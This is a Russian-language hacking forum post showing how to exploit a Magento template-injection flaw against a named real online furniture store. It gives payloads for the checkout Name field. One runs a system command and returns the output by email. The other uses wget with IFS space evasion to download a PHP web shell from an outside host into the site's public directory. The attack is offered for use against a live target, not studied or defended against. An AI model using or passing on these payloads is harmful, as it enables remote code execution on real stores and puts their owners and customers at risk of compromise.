У вас должно быть более 100 реакций для просмотра скрытого контента.
На примере таргета aaafurnitureusa.com.
Кладём товар в корзину, переходим к оформлению заказа. В поле Name вставляём код ниже:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(pwd)}} Matt
На почту, которую указали в заказе, получаем письмо:
Payload для заливки шелла:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(wget${IFS%??}-P${IFS%??}/home/aaafurnitureus/public_html/pub${IFS%??}google.com/shell.php)}} Smith
UPD. Прошу администратора/модератора перенести тему в соотвествующий раздел. По невнимательности опубликовал не там, где надо.